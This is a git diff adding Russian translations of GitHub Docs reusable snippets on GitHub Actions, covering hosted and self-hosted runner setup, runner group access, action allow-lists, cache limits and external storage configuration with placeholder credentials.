b/translations/ru-RU/data/reusables/actions/add-hosted-runner.md new file mode 100644 index 000000000000..b911a1209554 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/add-hosted-runner.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: cdf55c11d2d54b94788e317961466999079debbb +ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/26/2022 +ms.locfileid: "148111299" +--- +1. Щелкните **"Создать средство выполнения**", а затем выберите **{% octicon "mark-github" aria-label="New hosted runner" %} New {% data variables.product.prodname_dotcom %}-hosted runner**. +1. Укажите необходимые сведения для настройки нового средства выполнения: + + - **Имя**. Введите имя нового средства выполнения. Для простоты оно должно указывать на конфигурацию оборудования и операционной системы, например `ubuntu-20.04-16core`. + - **Образ средства выполнения**: выберите операционную систему из доступных вариантов. Выбрав операционную систему, вы сможете выбрать определенную версию. + - **Размер средства выполнения**: выберите конфигурацию оборудования из раскрывающегося списка доступных параметров. + - **Автоматическое масштабирование**: выберите максимальное количество средств выполнения, которые могут быть активны одновременно. + - **Группа средств выполнения**: выберите группу, в которую будет входить средство выполнения. Эта группа будет включать несколько экземпляров средства выполнения, так как они масштабируются в соответствии с требованиями. + - **Сеть**: только для {% data variables.product.prodname_ghe_cloud %}: укажите, будет ли назначен диапазон статических IP-адресов экземплярам {% data variables.actions.hosted_runner %}. В общей сложности можно использовать до 10 статических IP-адресов. + +1. Щелкните **Создать средство выполнения**. diff --git a/translations/ru-RU/data/reusables/actions/allow-specific-actions-intro.md b/translations/ru-RU/data/reusables/actions/allow-specific-actions-intro.md new file mode 100644 index 000000000000..825561fc09b4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/allow-specific-actions-intro.md @@ -0,0 +1,34 @@ +--- +ms.openlocfilehash: 1c0fc320bbd41add7105a53f1ed85a10c39fb021 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883500" +--- + + +### Разрешение выполнения выбранных действий{% ifversion actions-workflow-policy %} и повторно используемых рабочих процессов{% endif %} + +При выборе {% data reusables.actions.policy-label-for-select-actions-workflows %} разрешаются локальные действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %}. Для разрешения других конкретных действий{% ifversion actions-workflow-policy %} и повторно используемых рабочих процессов{% endif %} доступны дополнительные параметры: + +- **Разрешить действия, созданные с помощью {% data variables.product.prodname_dotcom %}:** все действия, созданные с помощью {% data variables.product.prodname_dotcom %}, можно разрешить использовать рабочими процессами. Действия, созданные с помощью {% data variables.product.prodname_dotcom %}, находятся в `actions` и в организациях `github`. Дополнительные сведения см. в [`actions`](https://github.com/actions) и организациях [`github`](https://github.com/github). +- **Разрешить действия Marketplace проверенным создателям:** {% ifversion ghes or ghae %}Этот параметр доступен, если у вас {% data variables.product.prodname_github_connect %} включен и настроен с помощью {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе "[Включение автоматического доступа к действиям GitHub.com с помощью GitHub Подключение](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)".{% endif %} Можно разрешить всем действиям {% data variables.product.prodname_marketplace %}, созданным проверенными создателями, для использования рабочими процессами. Когда GitHub проверит автора действия в качестве партнерской организации, рядом с действием в {% data variables.product.prodname_marketplace %} появится значок {% octicon "verified" aria-label="The verified badge" %}. +- **Разрешить указанные действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %}:** можно ограничить использование действий{% ifversion actions-workflow-policy %} и повторно используемых рабочих процессов{% endif %} в рабочих процессах определенных организаций и репозиториев. + + Чтобы ограничить доступ к определенным тегам или зафиксировать SHA действия{% ifversion actions-workflow-policy %} или повторно используемого рабочего процесса{% endif %}, используйте синтаксис для выбора действия{% ifversion actions-workflow-policy %} или повторно используемого рабочего процесса{% endif %} в рабочих процессах. + + - Для действия используется синтаксис `/@`. Например, используйте `actions/javascript-action@v1.0.1`, чтобы выбрать тег или `actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89` для выбора SHA. Дополнительные сведения см. в разделе "[Поиск и настройка действий](/actions/learn-github-actions/finding-and-customizing-actions#using-release-management-for-your-custom-actions)". + {%- ifversion actions-workflow-policy %} + - Для многократно используемого рабочего процесса используется синтаксис `///@`. Например, `octo-org/another-repo/.github/workflows/workflow.yml@v1`. Дополнительные сведения см. в статье [Многократное использование рабочих процессов](/actions/using-workflows/reusing-workflows#calling-a-reusable-workflow). + {%- endif %} + + Подстановочный знак `*` можно использовать для сопоставления шаблонов. Например, чтобы разрешить все действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %} в организациях, начинающихся на `space-org`, можно указать `space-org*/*`. Чтобы разрешить все действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %} в репозиториях, начинающихся на octocat, можно использовать `*/octocat**@*`. Дополнительные сведения об использовании подстановочного знака `*` см. в разделе «[Синтаксис рабочего процесса для GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)». + + {% ifversion fpt or ghec %} {% note %} + + **Примечание.** Параметр **Разрешить указанные действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %}** доступен только в общедоступных репозиториях с планами {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} для организаций или {% data variables.product.prodname_team %}. + + {% endnote %} {% endif %} + +В этой процедуре показано, как добавить конкретные действия{% ifversion actions-workflow-policy %} и повторно используемые рабочие процессы{% endif %} в список разрешений. diff --git a/translations/ru-RU/data/reusables/actions/apply-configuration-and-enable.md b/translations/ru-RU/data/reusables/actions/apply-configuration-and-enable.md new file mode 100644 index 000000000000..4794ca96fc82 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/apply-configuration-and-enable.md @@ -0,0 +1,5 @@ +1. To apply the configuration and enable {% data variables.product.prodname_actions %} to connect to your external storage provider, enter the following command. + + ```shell{:copy} + ghe-config-apply + ``` diff --git a/translations/ru-RU/data/reusables/actions/artifact-log-retention-statement.md b/translations/ru-RU/data/reusables/actions/artifact-log-retention-statement.md new file mode 100644 index 000000000000..566e657febe8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/artifact-log-retention-statement.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b288e14d75de9ac30b9c31dcc27a72cd3d2a68d5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114667" +--- +По умолчанию журналы и артефакты сборки {% data variables.product.product_name %} хранятся в течение 90 дней. Этот период хранения можно настроить.{% ifversion fpt or ghec or ghes %} Дополнительные сведения см. в разделе [Ограничения использования, выставление счетов и администрирование](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy).{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/automatically-adding-a-runner-to-a-group.md b/translations/ru-RU/data/reusables/actions/automatically-adding-a-runner-to-a-group.md new file mode 100644 index 000000000000..381cad00b0a2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/automatically-adding-a-runner-to-a-group.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 4e8c79051e378c800568f0fcf36c783a1bdd8811 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109076" +--- +Вы можете автоматически добавлять новое средство выполнения в группу с помощью скрипта конфигурации. Например, следующая команда регистрирует новое средство выполнения и использует параметр `--runnergroup`, чтобы добавить его в группу с именем `rg-runnergroup`. + +```sh +./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup +``` + +Если такая группа средств выполнения не существует, команда завершится ошибкой: + +``` +Could not find any self-hosted runner group named "rg-runnergroup". +``` diff --git a/translations/ru-RU/data/reusables/actions/autoscaling-parameters.md b/translations/ru-RU/data/reusables/actions/autoscaling-parameters.md new file mode 100644 index 000000000000..3456dce73c41 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/autoscaling-parameters.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 71cb14fae7b9c17d2df6e692bd46422254ac032f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886617" +--- +- При необходимости параметры автомасштабирования для каждого пула. + - Минимальное количество неактивных средства выполнения тестов для пула + - Активное время ожидания: количество минут, в течение которых средство выполнения тестов должно оставаться активным в пуле, прежде чем пул будет сокращен до количества неактивных средств diff --git a/translations/ru-RU/data/reusables/actions/branch-paths-filter.md b/translations/ru-RU/data/reusables/actions/branch-paths-filter.md new file mode 100644 index 000000000000..972574cb742f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/branch-paths-filter.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7d786f0ca85bd35a5ce6d07c9ca782332afe8d78 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879170" +--- +Если используется как фильтр `branches`, так и фильтр `paths`, рабочий процесс будет выполняться только при выполнении условий обоих фильтров. diff --git a/translations/ru-RU/data/reusables/actions/branch-requirement.md b/translations/ru-RU/data/reusables/actions/branch-requirement.md new file mode 100644 index 000000000000..3e3ae9caf99e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/branch-requirement.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: cb862099988b92ed8f32f07f0c3d9934560f0bea +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114643" +--- +{% note %} + +**Примечание.** Это событие запускает рабочий процесс только в том случае, если файл рабочего процесса находится в ветви по умолчанию. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/cache-default-size.md b/translations/ru-RU/data/reusables/actions/cache-default-size.md new file mode 100644 index 000000000000..c79aef489fdf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/cache-default-size.md @@ -0,0 +1 @@ +By default, the total cache storage that {% data variables.product.prodname_actions %} uses on the external storage for {% data variables.location.product_location %} is limited to a maximum of 10 GB per repository, and the maximum allowed size that can be set for a repository is 25 GB. diff --git a/translations/ru-RU/data/reusables/actions/cache-eviction-process.md b/translations/ru-RU/data/reusables/actions/cache-eviction-process.md new file mode 100644 index 000000000000..11be3cc4cc4f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/cache-eviction-process.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3d44e7e1f7b304a2378dc1863c6dba4a86ff9cab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067405" +--- +Если это ограничение превышено, {% data variables.product.prodname_dotcom %} сохранит новый кэш, но начнет вытеснять кэши до тех пор, пока общий размер не станет меньше ограничения репозитория. diff --git a/translations/ru-RU/data/reusables/actions/cache-no-org-policy.md b/translations/ru-RU/data/reusables/actions/cache-no-org-policy.md new file mode 100644 index 000000000000..5efc2974605e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/cache-no-org-policy.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 57be65440c7e2dd33460be3c67a4dfdd27ead640 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114624" +--- +{% note %} + +**Примечание.** В отличие от других параметров политики {% data variables.product.prodname_actions %} политика уровня организации для настройки размера кэша {% data variables.product.prodname_actions %} отсутствует. Корпоративная политика применяется непосредственно к репозиториям. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/caching-availability.md b/translations/ru-RU/data/reusables/actions/caching-availability.md new file mode 100644 index 000000000000..db725b3a709a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/caching-availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c69016073f47456f4edadc5c7c3364921b871fe2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147064845" +--- +Кэширование {% data variables.product.prodname_actions %} доступно только для репозиториев, размещенных на {% data variables.product.prodname_dotcom_the_website %} или {% data variables.product.prodname_ghe_server %}версии 3.5 и более поздних версий. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов]({% ifversion actions-caching %}{% else %}/free-pro-team@latest{% endif %}/actions/guides/caching-dependencies-to-speed-up-workflows). diff --git a/translations/ru-RU/data/reusables/actions/cd-templates-actions.md b/translations/ru-RU/data/reusables/actions/cd-templates-actions.md new file mode 100644 index 000000000000..8f655e65ab42 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/cd-templates-actions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: d6caf6cffe5c0bb902cdc27c5c74296d02ea249c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114616" +--- +{% data variables.product.product_name %} предлагает начальные рабочие процессы развертывания для нескольких популярных служб, таких как веб-приложение Azure. Чтобы узнать, как начать работу с начальным рабочим процессом, см. раздел [Использование начальных рабочих процессов](/actions/learn-github-actions/using-starter-workflows) или [просмотрите полный список начальных рабочих процессов развертывания](https://github.com/actions/starter-workflows/tree/main/deployments). Можно также ознакомиться с более подробными руководствами по конкретным рабочим процессам развертывания, такими как [Развертывание в Службе приложений Azure](/actions/deployment/deploying-to-azure-app-service). + +Многие поставщики служб также предлагают действия на {% data variables.product.prodname_marketplace %} для развертывания в своей службе. Полный список см. в разделе [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=deployment&type=actions). diff --git a/translations/ru-RU/data/reusables/actions/change-cache-size-limit.md b/translations/ru-RU/data/reusables/actions/change-cache-size-limit.md new file mode 100644 index 000000000000..9972f94a9ba8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/change-cache-size-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bab76bbf8a22879b552e1657e77f09c77e8dd279 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106824" +--- +1. В разделе **Предельный размер кэша** введите новое значение. +1. Нажмите **Сохранить**, чтобы применить изменения. diff --git a/translations/ru-RU/data/reusables/actions/change-retention-period-for-artifacts-logs.md b/translations/ru-RU/data/reusables/actions/change-retention-period-for-artifacts-logs.md new file mode 100644 index 000000000000..f77cc5eb04b2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/change-retention-period-for-artifacts-logs.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7d3e5a931a9055496b6bdb4c7921eeb5c45409a8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881142" +--- +1. В разделе **Артефакт и хранение журналов** введите новое значение. +1. Нажмите **Сохранить**, чтобы применить изменения. diff --git a/translations/ru-RU/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md b/translations/ru-RU/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md new file mode 100644 index 000000000000..6fe881354029 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md @@ -0,0 +1,38 @@ +{% comment %} + +Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners. + +{% data reusables.actions.self-hosted-runner-security-admonition %} +{% data reusables.actions.hosted-runner-security-admonition %} + +{% endcomment %} + +For runner groups in an enterprise, you can change what organizations in the enterprise can access a runner group{% ifversion restrict-groups-to-workflows %} or restrict what workflows a runner group can run{% endif %}. For runner groups in an organization, you can change what repositories in the organization can access a runner group{% ifversion restrict-groups-to-workflows %} or restrict what workflows a runner group can run{% endif %}. + +### Changing what organizations or repositories can access a runner group + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %} +1. For runner groups in an enterprise, under **Organization access**, modify what organizations can access the runner group. For runner groups in an organization, under **Repository access**, modify what repositories can access the runner group. + +{% elsif ghae < 3.4 or ghes < 3.4 %} +{% data reusables.actions.configure-runner-group-access %} +{% endif %} + +{% ifversion restrict-groups-to-workflows %} +### Changing what workflows can access a runner group +You can configure a runner group to run either selected workflows or all workflows. For example, you might use this setting to protect secrets that are stored on runners or to standardize deployment workflows by restricting a runner group to run only a specific reusable workflow. This setting cannot be overridden if you are configuring an organization's runner group that was shared by an enterprise. +{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %} +1. Under **Workflow access**, select the dropdown menu and click **Selected workflows**. +1. Click {% octicon "gear" aria-label="the gear icon" %}. +1. Enter a comma separated list of the workflows that can access the runner group. Use the full path, including the repository name and owner. Pin the workflow to a branch, tag, or full SHA. For example: `octo-org/octo-repo/.github/workflows/build.yml@v2, octo-org/octo-repo/.github/workflows/deploy.yml@d6dc6c96df4f32fa27b039f2084f576ed2c5c2a5, monalisa/octo-test/.github/workflows/test.yml@main`. + + Only jobs directly defined within the selected workflows will have access to the runner group. + + Organization-owned runner groups cannot access workflows from a different organization in the enterprise; instead, you must create an enterprise-owned runner group. + +1. Click **Save**. + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/changing-the-name-of-a-runner-group.md b/translations/ru-RU/data/reusables/actions/changing-the-name-of-a-runner-group.md new file mode 100644 index 000000000000..3a5df8fce090 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/changing-the-name-of-a-runner-group.md @@ -0,0 +1,9 @@ +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %} +{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %} +1. Change the runner group name. + +{% elsif ghae < 3.4 or ghes < 3.4 %} +{% data reusables.actions.configure-runner-group %} +1. Change the runner group name. +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/checkout-action-table-entry.md b/translations/ru-RU/data/reusables/actions/checkout-action-table-entry.md new file mode 100644 index 000000000000..9d023ccf0345 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/checkout-action-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 43521ec1b1fa3bc241211be24454379e4a06a1f8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060564" +--- +| Клонирование репозитория в средство выполнения тестов: | [`actions/checkout`](https://github.com/actions/checkout)| diff --git a/translations/ru-RU/data/reusables/actions/choose-repo.md b/translations/ru-RU/data/reusables/actions/choose-repo.md new file mode 100644 index 000000000000..d4308ea0be48 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/choose-repo.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 26e2b5d97904acc2b1f592bbd252ab3f9bf45279 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878410" +--- +Выберите репозиторий, в котором вы хотите применить этот рабочий процесс управления проектами. Вы можете использовать существующий репозиторий, к которому у вас есть доступ для записи, или создать репозиторий. Дополнительные сведения о создании репозитория см. в разделе [Создание репозитория](/articles/creating-a-new-repository). diff --git a/translations/ru-RU/data/reusables/actions/commit-workflow.md b/translations/ru-RU/data/reusables/actions/commit-workflow.md new file mode 100644 index 000000000000..837d4164c9dc --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/commit-workflow.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 85a351d5fc1c2e5213958bb8330a6367713acc39 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117032" +--- +Зафиксируйте файл рабочего процесса в ветви по умолчанию вашего репозитория. Дополнительные сведения см. в разделе[Создание файлов](/github/managing-files-in-a-repository/creating-new-files). diff --git a/translations/ru-RU/data/reusables/actions/comparing-artifacts-caching.md b/translations/ru-RU/data/reusables/actions/comparing-artifacts-caching.md new file mode 100644 index 000000000000..1aa77859127c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/comparing-artifacts-caching.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 48326e29174e0cba6f56d99436271a68f65189bc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117027" +--- +## Сравнение артефактов и кэширования зависимостей + +Артефакты и кэширование схожи, поскольку они предоставляют возможность хранить файлы в {% data variables.product.prodname_dotcom %}, но каждая функция предлагает разные варианты использования и они не являются взаимозаменяемыми. + +- Применяйте кэширование, если требуется повторно использовать файлы, которые нечасто изменяются между заданиями или выполнениями рабочих процессов, например зависимости сборки из системы управления пакетами. +- Используйте артефакты, если требуется сохранить файлы, созданные заданием, для просмотра после завершения выполнения рабочего процесса, например встроенные двоичные файлы или журналы сборки. diff --git a/translations/ru-RU/data/reusables/actions/concurrency-table-entry.md b/translations/ru-RU/data/reusables/actions/concurrency-table-entry.md new file mode 100644 index 000000000000..bc1105b09f0a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/concurrency-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b6bc7abd43c8112d8cff08d93661c831d609d37c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147065077" +--- +| Управление количеством запусков рабочих процессов или заданий одновременно: | [`concurrency`](/actions/using-jobs/using-concurrency)| diff --git a/translations/ru-RU/data/reusables/actions/configure-runner-group-access.md b/translations/ru-RU/data/reusables/actions/configure-runner-group-access.md new file mode 100644 index 000000000000..42999d8e42f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/configure-runner-group-access.md @@ -0,0 +1,14 @@ +{% data reusables.actions.configure-runner-group %} +1. Modify your policy options. + + {% ifversion not ghae %} + {% warning %} + + **Warning** + + {% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %} + + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + + {% endwarning %} + {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/configure-runner-group.md b/translations/ru-RU/data/reusables/actions/configure-runner-group.md new file mode 100644 index 000000000000..02e61d6382ee --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/configure-runner-group.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: be5e5183195b57d212bccef0f9053dea7fffcddf +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147764169" +--- +1. В разделе средства выполнения страницы параметров щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} рядом с группой средств выполнения, которую вы хотите настроить, а затем **Изменить имя и доступ [организации|репозитория]** . + ![Управление разрешениями репозиториев](/assets/images/help/settings/actions-runner-manage-permissions.png) diff --git a/translations/ru-RU/data/reusables/actions/configure-storage-provider-platform-commands.md b/translations/ru-RU/data/reusables/actions/configure-storage-provider-platform-commands.md new file mode 100644 index 000000000000..4c6d333a50ef --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/configure-storage-provider-platform-commands.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: 46dc3c3d386ea78bb24c8a9154e6dceb8b5b75a8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107584" +--- +- Хранилище BLOB-объектов Azure: + + ```shell{:copy} + ghe-config secrets.actions.storage.blob-provider "azure" + ``` +- Amazon S3: + + ```shell{:copy} + ghe-config secrets.actions.storage.blob-provider "s3" + ``` +{%- ifversion actions-ghes-gcp-storage %} +- Облачное хранилище Google: + + ```shell{:copy} + ghe-config secrets.actions.storage.blob-provider "gcs" + ``` +{%- endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/configure-storage-provider.md b/translations/ru-RU/data/reusables/actions/configure-storage-provider.md new file mode 100644 index 000000000000..4d859da32b62 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/configure-storage-provider.md @@ -0,0 +1,39 @@ +--- +ms.openlocfilehash: 0fe2a7baef7f3eb962aff1d834ce25b1e286f8c6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107592" +--- +1. Настройте подключение к внешнему хранилищу, введя следующие команды, заменив значения заполнителей фактическими значениями для подключения. + + - Хранилище BLOB-объектов Azure: + + ```shell{:copy} + ghe-config secrets.actions.storage.azure.connection-string "CONNECTION STRING" + ``` + - Amazon S3: + + ```shell{:copy} + ghe-config secrets.actions.storage.s3.bucket-name "S3 BUCKET NAME" + ghe-config secrets.actions.storage.s3.service-url "S3 SERVICE URL" + ghe-config secrets.actions.storage.s3.access-key-id "S3 ACCESS KEY ID" + ghe-config secrets.actions.storage.s3.access-secret "S3 ACCESS SECRET" + ``` + + При необходимости, чтобы принудительно применить адресацию в стиле пути для S3, также введите следующую команду. + + ```shell{:copy} + ghe-config secrets.actions.storage.s3.force-path-style true + ``` +{%- ifversion actions-ghes-gcp-storage %} + - Облачное хранилище Google: + + ```shell{:copy} + ghe-config secrets.actions.storage.gcs.service-url "SERVICE URL" + ghe-config secrets.actions.storage.gcs.bucket-name "BUCKET NAME" + ghe-config secrets.actions.storage.gcs.access-key-id "HMAC ACCESS ID" + ghe-config secrets.actions.storage.gcs.access-secret "HMAC SECRET" + ``` +{%- endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/contacting-support.md b/translations/ru-RU/data/reusables/actions/contacting-support.md new file mode 100644 index 000000000000..b07289777eb0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/contacting-support.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 32cd1f25aa5b28e9f6529d19538a52caa347d36f +ms.sourcegitcommit: da73949b8f8bd71d40247f1f9c49f8f4c362ecd0 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 07/28/2022 +ms.locfileid: "147432043" +--- +Если вам нужна помощь, связанная с конфигурацией рабочего процесса, например, с синтаксисом, средствами выполнения, размещенными в {% data variables.product.prodname_dotcom %}, или действиями по сборке, найдите существующий раздел или создайте новый раздел в [категории {% data variables.product.prodname_github_community %} {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %}](https://github.com/orgs/github-community/discussions/categories/actions-and-packages). + +Если вы хотите оставить отзыв или запрос на функцию для {% data variables.product.prodname_actions %}, это можно сделать в {% data variables.contact.contact_feedback_actions %}. + +В каждом из следующих случаев, независимо от того, относится ли ваше использование или предполагаемое использование к категориям ограничений использования, обратитесь к {% data variables.contact.contact_support %}: + +* если вы считаете, что ваша учетная запись была ограничена по ошибке; +* если при выполнении одного из действий, например, при получении уникального идентификатора, возникает непредвиденная ошибка; +* если возникает ситуация, когда существующее поведение противоречит ожидаемому, но не всегда задокументированному поведению. diff --git a/translations/ru-RU/data/reusables/actions/container-jobs-intro.md b/translations/ru-RU/data/reusables/actions/container-jobs-intro.md new file mode 100644 index 000000000000..d751cfceffc0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/container-jobs-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8acbacc0b39b108fdd05473ceb85e65bfe0e92d0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117016" +--- +Настройка заданий для запуска в контейнере упрощает сетевые конфигурации между заданием и контейнерами служб. Контейнеры Docker в одной пользовательской сети моста предоставляют все порты друг другу, поэтому вам не нужно сопоставлять порты контейнера службы с узлом Docker. Вы можете получить доступ к контейнеру службы из контейнера заданий с помощью метки, настроенной в рабочем процессе. diff --git a/translations/ru-RU/data/reusables/actions/context-contents.md b/translations/ru-RU/data/reusables/actions/context-contents.md new file mode 100644 index 000000000000..cdea2e6a799b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/context-contents.md 